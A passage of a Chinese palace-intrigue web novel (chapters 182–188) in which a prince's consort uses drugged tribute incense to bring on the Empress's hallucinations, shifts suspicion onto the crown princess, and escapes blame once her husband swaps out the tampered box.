沈惊澜询问的语气道:“那我让人送回天机阁?” “好。” 两人沉默好长时间,蜡烛燃烧过半,沈惊澜起身,两颗獬豸角放回木盒里。 “早些歇息,我明日再来看你。” 自从温若初诞下两位小公子后,两人就没在一个房间睡过。 这都出月子了,也避着她? 白日还探讨了那么多避孕的法子…… 夜深人静,正是情浓意浓的时候,他却要走? “你……不在这歇着?”温若初坐在椅子里,抬头看沈惊澜,娇俏灵动的眸子眼波流转。 暗示的不算明显,沈惊澜从她的眼神里读懂了她的意思。 沈惊澜垂眸看着她,墨黑睫毛下耷,遮住他眼底复杂而克制的情绪,高大修长的身影站在温若初面前,微弱烛光够不到他俊脸上的表情。 从温若初的角度看去,只能看到凌厉的下颌线轮廓,以及隐在昏暗光线里模糊的五官轮廓。 面前高大身影似乎是盯着她看了一会,带着薄茧的手轻轻抬起她的下巴,黑影俯下身,那张人神共愤的俊脸在她面前放大。 沁着寒意的两片薄唇,蜻蜓点水似的在她唇瓣上落下,犹豫着停顿一瞬,似乎是想深入,那双看狗都深情的眼睛,紧紧盯着温若初,迟迟没有下一步动作。 温若初和沈惊澜对视一眼。 沈惊澜的眼神热烈带着攻击性,眼底的情欲都快溢出来了,眼尾微微泛红。 情到深处,难以自制的时候,沈惊澜就是这个样子,温若初见过无数次。 明明孩子都有了,几个月没做那档子事,有些生疏,期待中又有些紧张。 第183章 小皇孙和小皇孙 温若初的心脏跳得砰砰砰的,像是要从胸口蹦出来。 她无意识地抬头,闭上眼睛,抬手,手指钩住沈惊澜锢在腰间的腰封,如玉般的手指不老实地在腰间游走,找到腰扣,还没等她解开,一只大手带着阻止意味地按住她的手。 温若初睁眼看沈惊澜,一脸不解。 沈惊澜轻轻啄吻了一下她的唇,不带一丝情欲的一个吻,一触即分。 萦绕在两人之间那浓烈的暧昧旖旎气氛瞬间散尽。 沈惊澜眼尾还残留着未退尽的红晕,他微微勾起嘴角笑了笑。 “你刚出月子,身子还没恢复好,时间不早了,早些歇息吧。” 这个解释合情合理,让她无言以对,甚至有些羞恼,弄得好像她多饥渴似的。 好兴致一下子就没了。 温若初深吸一口气,不以为意地扯了扯嘴角。 “那你也早些歇息。” 起身抬手帮沈惊澜整理一下领口,理了理衣裳。也不知是手重了,还是碰到了哪里,温若初听到一声微不可查的闷哼声,很轻的一声。 撩起眼皮看沈惊澜,沈惊澜垂眸看着她,眸光带笑。 “早些歇息。”沈惊澜说完,拎着两颗獬豸角推门走了,还贴心地把门关上。 温若初僵站在原地,看着紧闭的房门,心又揪了起来。 方才帮沈惊澜整理衣裳的时候,嗅到了一丝丝的血腥味。 沈惊澜的意思,明显是想瞒着她, 那人只要想隐瞒一件事,八头倔驴都拉不回来,一丝风都不会透出来。 他不愿意说,就算了。 最近沈惊澜步子迈得太大,成了老皇帝面前红人,得罪狠了皇后的太子,还有一些看得到的看不到的危险势力,那些人看沈惊澜不顺眼,定会安排一波接着一波的刺杀。 前两日还听秋菊她们提起,也是听冯文和小辛说的,沈惊澜遭到行刺,十几个刺客命丧当场。 沈惊澜受了轻微伤,温若初自我安慰这样想着,心里那种不安减轻了一些。 沈惊澜快步走出温若初院子,身高腿长,步子迈得大,也快,面无表情的,枣红色锦袍胸口处渗出一小片暗色。 小辛快步跟上沈惊澜。 沈惊澜回手把两颗獬豸角递给小辛,“送去古叔那。” “是。” 小辛应了一声,注意到沈惊澜胸口渗血了,没有震惊,像是之前见过很多次,只是蹙着眉。 “阁主,渗血了,我帮你处理一下。” “不用,管住你们的嘴。” 沈惊澜撂下一句,转身朝书房走去。 “是。” 隔天,温若初和沈惊澜相携,带着两位小公子,进宫给老皇帝请安,萧蔷领着沈桓和沈烁也在。 雕刻着飞龙式样的桌案,平常堆奏折堆得满满当当,此时被收拾得干净,沈轩和沈煜并排摆在桌案上。 两个孩子刚出生的时候,老大沈轩比沈煜壮实一些,经过一个月的精心调理喂养,沈煜能吃一些,身形上和沈轩差不多。 能平安诞下子嗣,本就不是易事,一下子有两个,细数整个都城,上到官宦勋贵,下到寻常百姓人家,双生子也是罕见。 并排摆在一起,一模一样的两个小娃娃,老皇帝越看越喜欢。 沈轩和沈煜也是争气,见到老皇帝的时候没哭,刚满一个月的小婴孩儿,居然还会笑。 老皇帝心情大好,哈哈笑了两声,瞅了一眼总管太监李公公。 “你看,他们对朕笑了。” “瞧陛下您说的,您是两位小皇孙的亲祖父,见到祖父,当然会笑了。” 萧蔷坐在椅子里,脸色不好,横了一眼倚在她腿边的沈烁,摆弄着竹蜻蜓,摆弄得不亦乐乎。 将来也是斗鸡走狗之辈,指望不上,狠狠拧了一把沈煜后背。 沈煜回头看她,对上萧蔷具有压迫性带着警告意味的眼神,瘪了瘪嘴,疼得眼泪在眼圈里打转,到底是没敢哭出声。 萧蔷又瞅了一眼坐在她手边位置的沈桓,坐姿端正,虽说身体差了一些,可天资聪颖,就是将来做皇帝的料。 萧蔷看大儿子很满意,轻咳一声,递给沈桓一个眼色。 沈桓起身,上前两步。 “皇爷爷,孙儿新做了一篇文章,叫《籍田颂》,文章主旨意在鼓励农耕生产,孙儿背给皇爷爷听。” 老皇帝逗着沈轩和沈煜,闻言抬头看沈桓,拧着眉头迟疑一瞬。 “《籍田颂》?前几日你不是让刘太傅把文章拿给朕看?朕还赏赐了你一只狼毫笔,怎么?又做了一篇,这是其二?” “不,不是。” 沈桓尴尬地僵站在原地,之前皇爷爷最喜欢他做的文章的,还会帮他修正,他背诵多少遍,皇爷爷都愿意听。 老皇帝的冷落,让沈桓一时有些无措。 老皇帝似乎对稚嫩的政治见解此时并不是很感兴趣,也不计较沈桓的冒失,他抱起沈煜,矮下身,眼神示意沈桓过来。 “看看两个弟弟一模一样的,可不可爱?” 沈桓走了过去,垂手立在老皇帝面前,双手紧紧攥着拳头,看向沈煜的眼神里快速闪过一抹怨毒,很快被脸上天真笑意掩盖。 沈桓点点头,“两位弟弟很可爱。” “你是老大,将来要照顾好几位弟弟……” 老皇帝叮嘱几句让几个孩子兄友弟恭的话,让沈桓回去了。 萧蔷领着两个孩子再次沦为背景板,争宠不成,反而让别人看了笑话,脸色更黑了,恶狠狠剜了这边好几眼。 温若初和沈惊澜坐在萧蔷对面,从沈桓凑过去,温若初的心就是提起来的,直到沈桓回到萧蔷身边,才稍稍放下心。 温若初提前打听好,特意选在萧蔷来的时辰,过来抱着孩子到老皇帝面前刷存在感。 不是为了故意和萧蔷过不过,在老皇帝面前打擂台,而是萧蔷还有旁的用途。 沈轩和沈煜的名字是老皇帝舔着脸,上赶着取了,温若初确信老皇帝会待两位小公子不一样,即便没有沈桓和沈烁的荣宠,也不至于整天想着弄死他们。 正事还没干呢,倒是先把萧蔷气得够呛。 这才哪到哪啊,真正让萧蔷伤心绝望的还在后头呢。 温若初心里哼笑一声,没忘正事。 打了一个哈欠,状似和萧蔷闲聊。 “这几日也不知怎么回事,身子疲乏得厉害,睡得不好,昨日照顾两个孩子,想着先把孩子哄睡,哪曾想孩子越玩越精神,我这个哄孩子的先睡着了。” “平日少琢磨点事,自然就睡得好了。” 萧蔷搭话,言外之意温若初少琢磨对皇后和沈星驰使坏,睡得自然就好了。 温若初假装没听懂,叹了一口气。 “没心没肺的人睡的才香,我不琢磨也不成啊,两个儿子偶尔哭闹得厉害,我这个当娘的自然要惦记的。” “回去再让大夫帮你调理一副药。”沈惊澜接话茬。 老皇帝终于朝这边看过来,“前几日百越进贡两盒绛雪凝,能安神醒脑,”吩咐李公公,“一会儿让老九和老九媳妇带回去。” 绛雪凝为百越特有熏香,差不多每年这个时候都会进贡一批到皇宫,温若初提前打听过,皇宫内务账册,这几日有两盒绛雪凝入库。 等的就是老皇帝这句话。 第184章 绛雪凝 温若初赶紧起身谢恩。 在承乾宫说了一会话,老皇帝留下沈惊澜谈政务,温若初先走了,和萧蔷一前一后。 温若初在后,叫住萧蔷。 “皇嫂。” 萧蔷顿住脚步,翻了一个白眼,“本宫是太子妃,你还是称呼我太子妃娘娘,皇嫂两个字,听着不顺耳。” “是。” 面对萧蔷的敌意,温若初不以为意,脸上始终挂着得体笑意,递出老皇帝刚刚赏赐的绛雪凝。 “父皇一下子赏赐了两盒,咱们都是一起来的,好东西不能吃独食,咱们妯娌两个一人一盒。” 都是儿媳妇,父皇只赏赐了温若初,她毛都没有,萧蔷心里不平衡。 偏偏温若初又来她面前阴阳怪气显摆,萧蔷气得脸色红一阵白一阵,咬牙切齿道。 “温若初你故意恶心我是不是?我才不要,我们东宫有的是。” 说完像是多看温若初一眼都嫌弃的样子,扭头就走。 沈桓被太监带去崇文馆,沈烁还跟在萧蔷身边,回头瞅了一眼温若初。 “母妃,可婶母手里的绛雪凝是皇爷爷赏赐的,我刚才闻了,真的很香,和东宫里的不一样。” 去年百越那边进贡来的绛雪凝一共有四盒,一半赏赐给了东宫,一半送到翊坤宫,东宫还有些存货,但香料这东西,当年用着才好,时间长了效用等同于无,香味也没有当年的香料浓郁。 “快走!”萧蔷头也不回催促沈烁。 温若初手里还拿着绛雪凝,在萧蔷身后重重地叹了一口气,对秋菊道。 “这么好的东西,我自己都留着实在受之有愧。” 像是突然想起什么似的,“我记得母后也有失眠的毛病,这盒就去孝敬母后。” 萧蔷眼珠子转了转,迟疑半晌,停下脚步,回头快速走到温若初面前。 “难得你还有这份孝心,不过母后现在不想看见你,东西给我吧,正好我路过翊坤宫,就帮你送过去了。” “呦,那敢情好啊。” 温若初面露喜色,她是真的发自内心的高兴,手里绛雪凝赶紧递给萧蔷。 “多谢太子妃娘娘,还请劳烦太子妃娘娘帮我带句话,荣王殿下只是奉父皇之命行事,为人直爽,不晓得什么弯弯绕绕,真不是有意和皇后娘娘太子殿下为敌。” “拿来吧!” 萧蔷不等她说完,一把夺走绛雪凝,转身就走。 后面一大堆客套的话,温若初说得虚情假意,萧蔷听着也刺耳。 “公主,太子妃会把那盒绛雪凝送去翊坤宫皇后娘娘那吗?”秋菊一脸忧心地问道。 所有人包括萧蔷在内,都觉得老皇帝收了皇后的玺绶,禁足皇后,只是一时生气,过阵子就好了,皇后还是皇后。 皇后是萧蔷的靠山,两人同出一族,萧蔷当然希望皇后能安稳熬过着阵子,等皇后出来。两人合伙一起对付她。 皇后最近失眠很厉害,经常梦到柳妃,温若初没刻意打听都知道了,萧蔷也肯定知道皇后的身体状况。 绛雪凝有安神醒脑助眠的作用,正对皇后癔症。 今年百越那边得了水灾,制作绛雪凝香料的原材料收成不济,只进贡来两盒,如今这两盒绛雪凝都赏赐给了她,皇后就没得用了。 从前皇后为拉沈惊澜和她说两句话,萧蔷都要摆脸色,这样一个嫉妒心强,又爱拔尖的一个人,又怎么会让她去皇后面前尽这份“孝心”。 和百越相邻的闽州也产绛雪凝,就是量少了一些,费些力气总能得到。 温若初看着萧蔷远离的背影,隔着衣料摸了摸袖口里的两盒绛雪凝,勾了勾唇角。 “会。” 只不过萧蔷带去的是有安神醒脑作用的香料,还是加重症状就不一定了。 翊坤宫内,铜质镂空雕花熏炉,淡淡青烟打着旋升起,无风自散,香气触手生凉,如雪后梅枝。 皇后闭着眼睛半倚靠在紫檀雕花床榻上,刁嬷嬷跪坐在床榻边,手上不轻不重地给皇后按压太阳穴。 皇后叹了一口气,“温若初的两个孩子还真是命大,居然满月了,桓儿和烁儿都没能奈何得了他们,陛下还亲自赐了名,入了皇室玉牒。” 轻蔑地轻哼一声,自顾自道,“入了玉牒也是庶出旁系,身上留着外族的血,上不得台面。” 刁嬷嬷附和,“寒妃是寒族巫女,仗着一副好皮囊,又会些旁门左道的狐媚子功夫,才得了一个妃位,不管到什么时候都上不得台面,沾着她血脉的子孙,天生卑贱,怎么能和娘娘您的子孙比?” “沈惊澜如今再能折腾,在能干,也是为太子殿下做垫脚石的命,等将来太子承袭大统,随便按个罪名,沈惊澜温若初还有那两个孩子,怎么个死法,不就是一句话的事?” “娘娘暂且忍耐些时日,无需为将死之人烦心。” 皇后心情好了,无声笑了笑,一缕青烟飘了过来,吸了吸鼻子,懒洋洋问道。 “今日换香了?” 顿了顿,“好像是百越进贡来的绛雪凝?” 像是想起什么似的,眼角眉梢染上喜色,倏然睁开眼皮,略显浑浊的眼神都较平常亮了几分,一脸期翼地看着刁嬷嬷。 “是陛下赏赐的?” 第185章 皇后不行了 刁嬷嬷面上闪过一缕难色,扯出一丝微笑。 “回娘娘的话,是太子妃娘娘亲自送来的。” 萧蔷故意模糊绛雪凝的来历,只说是送给皇后,让皇后做养神用,没说绛雪凝是从温若初那得来的。 刁嬷嬷想当然地认为是萧蔷得了赏赐,拿来孝敬皇后的。 “太子妃娘娘的这份孝心难得。” 皇后点点头,眼底还是掩饰不住的失落,长叹一口气。 “陛下是不肯原谅本宫了。” 刁嬷嬷安慰,“陛下只是一时在气头上,娘娘和陛下做了三十多年的夫妻,陛下心里是有娘娘的,怎么会真生娘娘的气?” 三十年的夫妻情分摆在那,他们还有一个嫡长子,还有两个小孙子,这些都是皇后的底气。 皇后心里失落,但也有盼头。 “本宫让萧蔷多领孩子去陛下面前,萧蔷可听话照做了” 刁嬷嬷:“太子妃娘娘每日都领着皇长孙和小皇孙去御乾宫请安,今年新进贡来的绛雪凝,应该就是太子妃娘娘特意为您求来的。” “好好好。” 皇后松了一口气,连说三声好,“难为萧蔷了。” “本宫最近也不知怎么了,总是能梦到柳妃那个贱人,活着的时候不安分,死了也不让人消停。” 吩咐刁嬷嬷,“绛雪凝有安神作用,再添点进去。” 刁嬷嬷起身照做,添了一匙香粉,房间内香气更加浓郁了。 皇后凑近把香气往自己这边扇了扇,无意识打了一个哈欠。 “本宫乏了,想睡一会儿,你先下去吧。” “是。” 刁嬷嬷又往香炉里添了一匙绛雪凝,行了一个礼,让伺候的宫人都退下,别打扰到了皇后娘娘,一切无恙才放心离开。 烛火摇曳,打更的太监敲了三下梆子,正是三更天。 皇后忽然惊醒,滚落在地,对着四周虚无空气,哆里哆嗦跪拜。 “别杀我,别杀我……” 刁嬷嬷和采莲被守夜的小宫女叫来,看到的就是这一幕。 一人之下万人之上的国母,身穿里衣,像是身后有什么东西似的,疯了一样从寝宫跑了出来,蓬头垢面的,连鞋都没穿。 刁嬷嬷赶紧伸手拦住皇后,神色关切,急道。 “娘娘,娘娘,您怎么了?” “柳妃来杀我了,柳妃来杀我了。” 皇后瞪大眼睛,重复一句话,柳妃要杀她,也不知怎么回事,年过半百的老妇人,发起疯来力气出奇的大,一个用力,就推搡刁嬷嬷到一边。 刁嬷嬷跌坐摔倒,顾不得疼,呲牙咧嘴起身,吩咐太监宫女。 “拦住娘娘,千万别让娘娘跑出翊坤宫,去请御医。” 又声嘶力竭吩咐采莲。“想办法派人知会陛下,快去!” 皇后被几个太监合力架回屋里,胳膊和腿都被小宫女压着,皇后双目赤红,奋力挣扎。 “别杀我,我要出去,我要出去。” 刁嬷嬷跪在皇后面前劝着,“您是皇后,没人敢杀您,也没有人能杀得了您。” “可我看见柳妃了,柳妃要来杀我了……” 皇后瞪着染着血丝的眼睛,四下巡看,定在虚空中的某一处,像是看到了什么可怕的东西,眼睛瞪得更大了,一脸惊恐之色。 “……就在那,柳妃浑身是血,胸口插着一把刀,她来了,她来了……啊……” 在翊坤宫伺候的宫女太监嬷嬷们,没瞧见胸口插着刀的柳妃,三更半夜倒是被皇后一惊一乍吓得够呛。 刁嬷嬷继续耐心劝解皇后,“柳妃已经死了,就算是有柳妃的鬼魂也应该是去找荣王府,是沈惊澜和温若初搞得柳家家破人亡,和您没关系。” 皇后眼神清明了一些,懵懂地瞅了刁嬷嬷一眼,不挣扎了。 “对,柳妃应该去荣王府,应该去荣王府……” 刁嬷嬷挥了挥手,让架着皇后的宫女太监退了出去。 皇后拧眉想了半天,“不会,花嬷嬷说过柳妃去过荣王府,是温若初找了道士,赶走了柳妃的鬼魂,柳妃才来找我的……” 嘀嘀咕咕一阵,又开始发疯念叨。 “柳妃要杀我……” 翊坤宫整晚都没得消停,吱哇乱叫鸡飞狗跳的。 相比较而言,荣王府这边一片岁月静好。 四皇子妃张氏手中拨浪鼓摇得“咚咚咚”直响,笑着逗沈轩和沈煜。 “这孩子一个一个样,白白胖胖的,看着就招人喜欢,听说父皇见两位小皇孙的时候,连平常堆放奏折的桌案都清理出来了。” “看来两位小皇孙得了父皇的宠爱,才满月就上了皇室玉牒,是有福气的人。” 四皇子妃张氏说笑着,抬眼看向温若初。 “也是你和荣王为两个孩子挣来的。”语气中带着一丝淡淡的哀伤。 四皇子妃张氏几年前先后怀过两胎,其中有一胎八个月眼瞅要生了,无缘无故没了。 皇室玉牒即沈氏族谱,沈轩和沈煜没出生之前,皇孙这一辈中,只有东宫沈星驰膝下的沈桓和沈烁的名字在玉牒上。 当然,别的小皇孙要么没机会来到这个世界,要么早夭。 四皇子妃眼底的羡慕和慈爱是真的,伤心无奈也是真的。 温若初回了一个安抚性的笑意。 “孩子能来,也是缘分,四皇嫂和四皇兄还年轻,正是身体强健的好时候,孩子早晚都会回来的。” 这句“孩子早晚都会回来”说得四皇子妃张氏暖心极了,眼角竟闪出泪光。 四皇子妃尴尬地笑了笑,帕子抹去眼泪。 “那就承九弟妹吉言了。” 四皇子妃张氏这个人怎么样,温若初不知道,四皇子沈雨霁是什么人她是知道的。 书中沈惊澜弑父杀兄登上皇位,遭天下人诟病皇位得来不正,沈雨霁在背后出了不少力。 沈雨霁一直都在为东宫做事,此人善于隐忍,又工于心计。 沈桓作为沈星驰的长子如何在沈惊澜的屠刀之下存活,书中没介绍。 温若初一直都在琢磨,十有八九和沈雨霁脱不开干系。 沈桓登基,沈雨霁是摄政王。 沈雨霁那人一身儒雅气息,在众多皇子中没什么存在感,在她和沈惊澜初回都城的时候,沈雨霁曾多次对她和沈惊澜释放善意,几次都有主动示好之意。 因为书中对沈雨霁的描写,温若初始终对沈雨霁这个人保持警惕之心,连带着四皇子妃张氏都始终无法彻底放心。 另有沈惊澜前阵子破获鄞郡军饷来源案子,涉及土地倒卖,官商勾结,致使整个吏部大换血。 四皇子妃张氏是吏部左侍郎张守中嫡次女,事后调查张守中并未参与其中,却也跟着吃了挂落,官职降了半级。 多多少少也算是有点恩怨,温若初并不相信四皇子妃张氏是真心待她和她的两个儿子。 尤其是上次孩子满月宴,四皇子妃张氏莫名其妙说孩子体凉。 说了一会儿话,温若初借口两个孩子要睡觉时辰了,让奶娘抱走。 孩子被抱走,感觉屋子里少了一大半东西,一下子就安静了。 四皇子妃张氏摆弄拨浪鼓,没有走的意思,坐在椅子里,抿了一口已经凉了的茶水,闲聊似的说道。 “听说母后昨晚又撒癔症了,又哭又闹的,还说什么柳妃来找她偿命,御医说是忧思成疾所致,没什么大碍。” 神神秘秘凑近温若初,压低声音道。 “父皇解了太子的禁足,让太子去侍疾,八成是不行了。” 第186章 沈惊澜的“孝心” “不行了?” 温若初诧异抬头看向四皇子妃张氏。 张氏定定点点头。 温若初怔楞一瞬,审视的目光落在张氏身上。 四皇子府和太子皇后那边走得近,张氏不像是说假话,倒像是有意给她传递消息。 自从昨日通过萧蔷的手,把那个掺杂了有致幻作用的獬豸角碎屑的绛雪凝,送进翊坤宫,温若初一直留意翊坤宫那边的动静。 昨晚皇后发疯,召见了御医,也请了老皇帝过去,温若初是知道的。 沈惊澜说三日才能让皇后神志不清,如活死人一般。 皇后昨晚是把绛雪凝当蛋白粉吃了吗?是用了多少的量啊? 才一日就不行了。 就连禁足的沈星驰都放了出来,去翊坤宫侍疾。 沈星驰被放出来了,这事温若初还真不知道。 总觉得张氏是在暗示她什么,这暗示里,似乎还藏着几分威胁意味。 温若初面上不显异色,笑了笑。 “恕我消息闭塞,没有四嫂来得灵通,并未听说母后身子抱恙。” 张氏唇角勾起一丝微笑,笑得别有深意。 “我也是听宫里的人说的,可能是嫌忌讳,父皇故意按着消息不让散出去。” “既然按住了消息,当属宫闱秘辛,四嫂又是如何得知?”温若初笑着追问。 张氏被噎了一下。 “这……” 两人说着话,门房的人突然通传。 “王妃娘娘,宫里来人了,请您去翊坤宫侍疾,是翊坤宫掌事宫女采莲领着人来的,还带了粗使嬷嬷和禁军。” 采莲带着禁军,请她去翊坤宫?一定是受了老皇帝的旨意。 温若初一脸茫然,皇后不行了,这阵仗绝对不是让她去翊坤宫侍疾。 不是侍疾…… 那是什么? 温若初略微思忖一瞬,一股不好的预感,如翻天巨浪般朝她袭来。 暗道:遭了! 那盒掺杂了獬豸角的绛雪凝可能给她惹了麻烦。 温若初原打算三日后把翊坤宫的那盒香料替换出来,谁能想到才一日皇后就不行了。 皇后突然病情加重,大概是老皇帝起了疑。 难不成四皇子妃张氏是在暗示她这个? 下意识瞅了张氏一眼,张氏点头,唇角勾起微笑。 张氏到底知道什么? 既然早知道翊坤宫那边查到她头上,在她面前扯东扯西故意拖到翊坤宫的人找上门才说又是何意? 眼下不是琢磨张氏的时候。 掺杂了獬豸角的绛雪凝还在翊坤宫,直接到荣王府来找她,应该是查出了一些眉目。 原打算三日后把翊坤宫里的那盒绛雪凝换出来,万万没想到皇后那边才一天就不行了。 她该怎么办? 温若初深吸一口气,对四皇子妃张氏又多了几分警惕之心。 “赶巧了,就不陪四嫂闲聊了,四嫂请便。” 四皇子妃张氏起身:“那一起出去吧,正好当送我。” 从房间到门口的一路,温若初和张氏闲聊的同时,一个脑袋当做两个脑袋用,大脑飞速运转,想着一会儿去翊坤宫可能遇到的情况。 荣王府大门口,采莲昂着头,正如传话的小厮所说,带来四五个粗使嬷嬷,还跟着一队手持长刀身穿铠甲的禁军。 四皇子妃张氏和温若初告别,又和采莲闲聊几句,从旁边的偏门走了。 采莲看向温若初:“陛下口谕,请荣王妃娘娘去翊坤宫侍疾。” 话音落,几个粗使嬷嬷立马气势汹汹上前,撸胳膊挽袖子,要对温若初动粗。 温若初顿住脚步,眸光犀利。 “本宫是荣王妃,你们干什么?” “自然是请娘娘前去翊坤宫,有什么话到翊坤宫再说,娘娘还是乖乖和奴才们走,奴才们奉命前来请娘娘,娘娘可别自己找不自在……” 其中一个黑眼圈极重的嬷嬷道,手里拿着一根手指粗细的麻绳,朝温若初走来,跃跃欲试要把她绑走。 话说一半,人僵住了,不知从哪里飞来一把刀,捅了一个对穿,话音落地,人也倒了,胸口鲜血蔓延到石缝里,脸上还保持着方才欲来绑温若初时狰狞凶悍模样。 变故来得突然,众人傻眼,采莲更是瞪大眼睛,脸色苍白,一副吓傻了的模样。 温若初抬眼朝刀飞来方向看去,沈惊澜正翻身下马。 禁军刀已出鞘,采莲一脸怒容呵斥沈惊澜。 “荣王殿下,你杀了翊坤宫的人,要造反不成?” 沈惊澜解释。 “此人意欲行刺荣王妃。” “赵嬷嬷是去请荣王妃娘娘,怎么行刺了?” “她手里有凶器。” 沈惊澜踩了一脚嬷嬷手里的粗麻绳。 麻绳能当做凶器?采莲还要辩解。 沈惊澜扫了一眼采莲,眼神比方才插进嬷嬷胸口的刀子还要锋利,嘴角勾起一抹笑意出来。 “荣王妃不想去的地方,没人能‘请’得动她,采莲姑娘别给翊坤宫找麻烦。” 用的是方才粗使嬷嬷的句式,说得客气,却是一句实打实的警告,尤其是地上躺着一个,众人知道,沈惊澜的这句话不是说说而已。 采莲不敢说话了,就连禁军的刀都不觉往刀鞘里收了收。 沈惊澜走到温若初面前,眼神柔和带着几分安抚意味,握了握她的手。 “母后身子抱恙,劳烦王妃替为夫去尽些孝心。” 不着痕迹引着她在他宽大袖口里摸了摸。 一个整天想着弑父杀兄的人在这和她谈孝心?温若初忍不住腹诽,她摸到一个熟悉触感的方盒子。 两人对视一眼,心照不宣。 悬着的心放回肚子里,此去翊坤宫,定能全身而退。 第187章 算计的就是你 温若初到翊坤宫的时候,院子里跪满了人,御医,太监,宫女,嬷嬷跪了一院子。 宫女太监一个个神色紧张,端盆,煎药进进出出。 温若初脚刚迈进门,一股浓郁的血腥味扑面而来,夹杂着刺鼻的药味。 还没弄清楚血腥味从何而来,就听见一道尖锐的叫声。 “温若初,你居然算计我!” 萧蔷跪在地上,脸哭得花猫似的,瞪着温若初大喊大叫。 沈星驰站在一边,老皇帝眉目低垂坐在外间床榻上,还有几位皇子也来了,萧蔷这么一喊,几人纷纷朝她这边看过来。 温若初没搭理萧蔷,走进屋的时候朝里间瞅了一眼。 里间分两拨御医,一拨给皇后处理身上大小不一伤口,尤其颈部伤口,洁白纱布还在渗血,另一拨御医围着熏炉,研究炉子里的灰烬。 规规矩矩上前给老皇帝跪地行礼,关切道。 “听说母后身子抱恙,母后怎么样了?儿臣来的这一路都是提心吊胆的,求了半天菩萨,保佑母后早些好起来。” “你少在那猫哭耗子假慈悲。” 萧蔷打断温若初,“昨天母后还好好的,偏偏用了你的香,昨晚就发了癔症挥刀自戕,御医检查过母后房间,绛雪凝气味有异。” 皇后自戕了? 难怪屋里有血腥味。 从萧蔷急于摆脱自己的言辞,以及老皇帝和沈星驰面色,四皇子妃张氏透露给她的信息来看。 大概是昨晚獬豸角起了作用,皇后产生幻觉,生了变故。皇帝命令御医彻查,查到了绛雪凝上。 绛雪凝乃特制香料,百越进贡过来的时候,內宫有专门负责查验的人,若是出现问题只能是温若初或者萧蔷手上。 他们两个成了谋害皇后的嫌疑人。 绛雪凝又是萧蔷亲自送到翊坤宫的,萧蔷为了自证,咬出了她。 温若初一脸无辜,听不懂似的眨了眨懵懂的大眼睛。 “绛雪凝是父皇赏赐给我的,我舍不得全用自己身上,想着处好妯娌关系,匀给太子妃娘娘一盒,是太子妃娘娘嫌弃不肯要……” 说到这里,故意停顿一瞬,瞄了一眼老皇帝。 果然,老皇帝脸色更不好了,眼神不悦地睨了一眼萧蔷。 “不要就不要吧,我想着母后最近也是吃不好睡不好,打算送给母后一盒,太子妃娘娘又说她要给母后送去。” “父皇赏赐的绛雪凝,昨晚我用了,真的能安神,实在不知道给太子妃娘娘的绛雪凝到母后那怎么出了问题,太子妃娘娘从哪里端来一盆脏水,非要扣在我的头上,我真的是冤枉啊。” 温若初句句不离那盒绛雪凝是经过萧蔷的手送到翊坤宫,意在表述皇后突发癔症自戕和她无关。 萧蔷更急了,“我从你手里接过去的绛雪凝就是有问题,你少狡辩,你和沈惊澜包藏祸心,就是想搞掉母后和太子,别以为我不知道!” 沈星驰帮腔,“萧蔷是母后的娘家侄女,和母后亲如母女,断然不会对母后生了歹心。” 看向温若初,“倒是你,母后不过是想让桓儿和烁儿多亲近他们的两个堂兄弟,你却小人之心,怀疑母后别有用心,不让桓儿和烁儿两个孩子登门亲近堂兄弟,记恨桓儿和烁儿,连带母后也受了无妄之灾。” 萧蔷点头,“对,一个母亲为了孩子,什么疯事都能做出来,温若初心思歹毒,为了自己的孩子,心生妄念,谋害母后。” 老皇帝看温若初的眼神明显变了,不怒自威。 “皇后突然癔症,到底是不是你下的毒手?” 低沉的语气中,带着审视和压迫。 温若初心里叹了一口气,再一次可怜沈惊澜,怎么摊上这么一个爹。 沈星驰凭借几句合理猜测,连确凿证据都没有就定了她的罪,老皇帝似乎也认可,果然是偏心骗到了姥姥家,众多儿子中,沈星驰才是他的亲儿子,旁的儿子都不算。 老皇帝没把沈惊澜当做亲儿子过,她是沈惊澜的媳妇,自然在老皇帝面前讨不到好处。 多解释无意,反而会加重老皇帝对她的怀疑,左右有御医在里间查验绛雪凝。温若初不接话,哭哭啼啼,一副受了委屈的模样,重复一句话。 “不是我,真的不是我……” “父皇,温若初利用腌臜手段谋害母后,背后定有人指使,容儿臣好生审问温若初供出幕后主谋,为母后报仇。” 沈星驰祈求老皇帝。 老皇帝点点头,准了沈星驰的提议。 有禁军进来,就要带走温若初,里间的御医终于小跑出来了。 御医擦着头上冷汗,禀告。 “回禀陛下,这盒绛雪凝里……未发现异样。” 众人面面相觑,方才还说是皇后屋里香料问题。 沈星驰问过萧蔷和翊坤宫的人,非常确定就是温若初在那盒绛雪凝上动了手脚,事发突然,没和萧蔷通气,这个女人关键时刻只知道哭。 沈星驰没指望萧蔷,自作主张大张旗鼓地让整个太医院的人都来了,十拿九稳温若初这次回不去了,沈惊澜也必然跟着遭殃。 老皇帝几次想走,他都拦着没让走,就等着御医查出证据,治沈惊澜和温若初的罪。 查了这么久,怎么可能说没有异样就没有异样? 沈星驰一脸不可置信,叫嚷着诘问御医。 “你可查仔细了?” “我们几个御医仔细查验过五六遍,炉灰和原香都查过,没有……任何异样。” 折腾半天闹了一个大乌龙,空气异常安静。 就连萧蔷都不哭了,面上是劫后余生的喜色,绛雪凝没问题,和她没关系了。 温若初来翊坤宫之前,沈惊澜给他摸过那盒有问题的香料盒子,有问题的在沈惊澜手里。 翊坤宫里的当然没有异常了,那盒掺杂了獬豸角碎屑的绛雪凝被沈惊澜换了出来,整个翊坤宫进进出出乱糟糟的,进来一个换点东西出去很容易。 至于炉灰,獬豸角燃烧之后和寻常草木灰一般无二,獬豸角又罕见,灰烬更没人见过,御医查验不出,实属正常。 御医说皇后屋里的绛雪凝味道不对劲,就更没有追查方向了,又是敞门又是开窗的,刚进来的人能闻到不一样的味道,后进来的人就闻不到了。 温若初抽抽噎噎,趁着无人说话的空档大声道。 “儿臣终于洗脱冤屈了,一个谋害婆母的帽子扣过来,我怕是下辈子都难以翻身了。” 禁军还在温若初身后杵着,众人面色各异。门外宫人通传。 “启禀陛下,荣王殿下求见。” 第188章 嘎掉皇后那个老妖婆 老皇帝皱了皱眉,生吃两根苦瓜似的,表情一言难尽。 “让荣王进来。” 沈惊澜进来恭敬地对老皇帝行了一礼。 “父皇恕儿臣不召自来之罪,儿臣听闻母后身子抱恙,小初被召来侍疾,儿臣在府中等候,一直乐没得小初消息,实在惦念母后安危,特过来看望。” 沈星驰轻嗤一声,眉头蹙得很沉,这两个人一个比一个会演戏。 沈惊澜说完,像是才发现跪在地上哭的温若初,一脸心疼,不解问道。 “爱妃这是怎么了?父皇母后健在,你哭什么呢?” 